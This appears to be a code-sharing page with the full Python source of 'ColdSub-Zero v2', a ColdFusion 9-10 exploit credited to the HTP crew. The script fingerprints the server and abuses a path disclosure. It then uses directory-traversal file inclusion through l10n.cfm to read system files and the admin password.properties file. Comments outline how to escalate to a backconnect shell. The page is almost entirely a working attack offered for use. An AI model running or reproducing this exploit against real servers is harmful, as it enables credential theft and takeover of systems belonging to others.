扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 |
#!/usr/bin/env python # -*- coding: utf-8 -*- intro=""" _ _ ____________ __ _______Cold,''' Fusion |_____|||_____] \/|______Cold ,'''/-- Fusion | |||\/ ______|. Cold -,__,'Fusion Name: ColdSub-Zero.pyFusion v2 Description : CF9-10 Remote Root Zeroday Crew: HTP """ cyan = "\x1b[1;36m" red = "\x1b[1;31m" clear = "\x1b[0m" print intro.replace("Cold",cyan).replace("Fusion",clear) import requests, time, sys, urllib, hashlib def flash(color,text,times): sys.stdout.write(text) line1 = "\x0d\x1b[2K%s%s" % (color,text) line2 = "\x0d\x1b[2K%s%s" % (clear,text) for x in range(0,times): sys.stdout.write(line1) sys.stdout.flush() time.sleep(.2) sys.stdout.write(line2) sys.stdout.flush() time.sleep(.2) print line2 abspath = "" operatingsystem = "refrigerator" coldfusion = 0 def fingerprintcf(protocol,target): # Fingerprint using md5's of CF 9/10 admin image print "[*] Fingerprinting CF 9/10 instance" imgdata = requests.get("%s://%s/CFIDE/administrator/images/loginbackground.jpg" % (protocol,target)).content md5fingerprint = hashlib.md5(imgdata).hexdigest() if md5fingerprint == "a4c81b7a6289b2fc9b36848fa0cae83c": print "[*] Detected ColdFusion 10" return 10 elif md5fingerprint == "596b3fc4f1a0b818979db1cf94a82220": print "[*] Detected ColdFusion 9" return 9 elif md5fingerprint == "779efc149954677095446c167344dbfc": # ColdFusion 8 doesn't have mail.cfm, but it is still exploitable due to l10n parsing the template as CFM. # It would require shell data to be on the box to include, such as an uploaded 'picture' or what-not. print "[*] Requires inclusion: m4ke your 0wn fuq1ng z3r0d4y!" sys.exit(0) else: print "[*] Unable to fingerprint, continuing with little environment data" return None def getpath(protocol,target): # Leverage a path disclosure to get the absolute path on CF9-10 print "[*] Testing for path disclosure" abspathdata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).headers if "set-cookie" in abspathdata.keys(): try: abspath = urllib.unquote(abspathdata['set-cookie'].split('ANALYZER_DIRECTORY=')[1].split(';')[0]) print "[*] Absolute path obtained: %s" % abspath if abspath[0] == "/": print "[*] Detected Linux" operatingsystem = "linux" elif abspath[1] == ":": print "[*] Detected Windows" operatingsystem = "windows 95 with bonzibuddy" else: print "[?] t4rg3t 4pp34r5 t0 b3 runn1n9 0n 4 r3fr1g3r4t0r" operatingsystem = "refrigerator" except: print "[?] OS detection failure. Continuing with fingerprint." else: print "[?] OS detection failure. Continuing with fingerprint." return abspath,operatingsystem # HTP '13 # Congratulations, you're reading the source. # # Subzero v2 is a do-it-yourself Subzero v1. Some details have been provided throughout the source hinting at the potential usage. # As far as changes, the Null RDS 1day has been removed, as well as the locale + FCKEditor exploitation checks & auth bypass + shell drop. # If you know what you are doing, this 0day can be used in conjunction with the other 0days to exploit ColdFusion 6-10. (aka everything). # # ColdFusion 6 can be taken out with the locale 0day, and XORing password.properties against the stored private key will yield the actual # login password. # # Since you're reading the source, we'll give you another 0day to improve Subzero. Once Subzero has extracted the hash, use scheduled tasks # to store your backconnect shell in a temp directory (such as the CF temp directory/windows TEMP dir or /dev/shm). Then, use Server Settings # > Settings in the CF admin to load it as the Missing Template Handler (you can travel upwards from the 'relative path' using ../). Finally, # trigger a 404 to recieve your backconnect, and restore the Missing Template Handler. We might release fUZE Shell v2 in the future for POCs # of this written in CFML. # # For anyone looking to fully weaponize Subzero into direct RXE for ColdFusion 10, we'll give you a hint. Subzero is a LFI, not a LFD. # (preinstalled *.cfm) :P target = raw_input("Target> ") if "https" in target: protocol = "https" target = target.replace("http://","").replace("https://","").split("/")[0] print "[*] Target set to: %s" % target print "[*] HTTPS: Enabled" else: protocol = "http" target = target.replace("http://","").replace("https://","").split("/")[0] print "[*] Target set to: %s" % target abspath,operatingsystem = getpath(protocol,target) coldfusion = fingerprintcf(protocol,target) print "[*] Collecting additional data about operating system" etchosts = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/hosts&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content bootini = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../boot.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content if "hosts" in etchosts or "127.0.0.1" in etchosts: operatingsystem = "linux" elif "[boot loader]" in bootini or "[operating systems]" in bootini: operatingsystem = "windows 95 with bonzibuddy" elif operatingsystem is "linux" or "windows 95 with bonzibuddy": pass else: operatingsystem = "refrigerator" if operatingsystem is "refrigerator": print "[*] go0d 1uq!!" print "[*] Obtaining credentials" tests = ["../../lib/password.properties","..\..\lib\password.properties"] if operatingsystem is "windows 95 with bonzibuddy": if coldfusion == 10: tests += ["..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"] elif coldfusion == 9: tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"] else: tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"] elif operatingsystem is "linux": if coldfusion == 10: tests += ["../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] elif coldfusion == 9: tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] else: tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] elif operatingsystem is "refrigerator": # w3lp l00ks l1k3 w3 g0tt4 5h0tguN th1s sh1t tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties", "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] for path in tests: lfidata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=%s&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target,path)).content if "encrypted=true" in lfidata: credzacquired = True print "[*] CF Administrator credentials acquired:" print lfidata else: pass if credzacquired == True: flash(cyan,"[~] SUB ZERO WINS",3) time.sleep(.5) flash(red,"[!] FLAWLESS VICTORY",3) time.sleep(.5) else: flash(red,"[!] COLDFUSION ADMIN WINS",3) time.sleep(.5) # e0f HTP '13 |
体验盒子
